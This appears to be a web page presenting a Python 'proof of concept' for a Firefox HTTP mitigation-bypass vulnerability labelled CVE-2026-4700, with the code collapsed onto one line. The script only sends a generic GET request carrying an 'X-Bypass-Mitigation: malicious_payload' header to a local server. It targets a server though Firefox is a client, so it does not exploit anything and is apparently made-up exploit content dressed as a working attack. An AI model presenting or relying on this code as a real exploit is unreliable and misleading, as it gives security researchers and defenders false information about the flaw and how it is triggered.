CVE-2026-4700 Firefox HTTP缓解措施绕过漏洞

import socket # Proof of Concept for CVE-2026-4700 # This script demonstrates a potential malicious HTTP request # intended to trigger the mitigation bypass in the target component. def send_exploit(target_ip, target_port): # Constructing a malicious HTTP payload # The specific headers are crafted to confuse the HTTP parser's mitigation logic payload = ( "GET / HTTP/1.1\r\n" "Host: {}\r\n" "User-Agent: Exploit-CVE-2026-4700\r\n" "Accept: */*\r\n" "X-Bypass-Mitigation: malicious_payload\r\n" "Content-Length: 0\r\n" "Connection: keep-alive\r\n\r\n" ).format(target_ip) try: print("[*] Sending exploit payload to {}:{}...".format(target_ip, target_port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(payload.encode('utf-8')) response = s.recv(4096) print("[+] Received response:") print(response.decode('utf-8', errors='ignore')) s.close() except Exception as e: print("[-] Error occurred: {}".format(e)) if __name__ == "__main__": # Replace with actual target details for testing target_ip = "127.0.0.1" target_port = 8080 send_exploit(target_ip, target_port)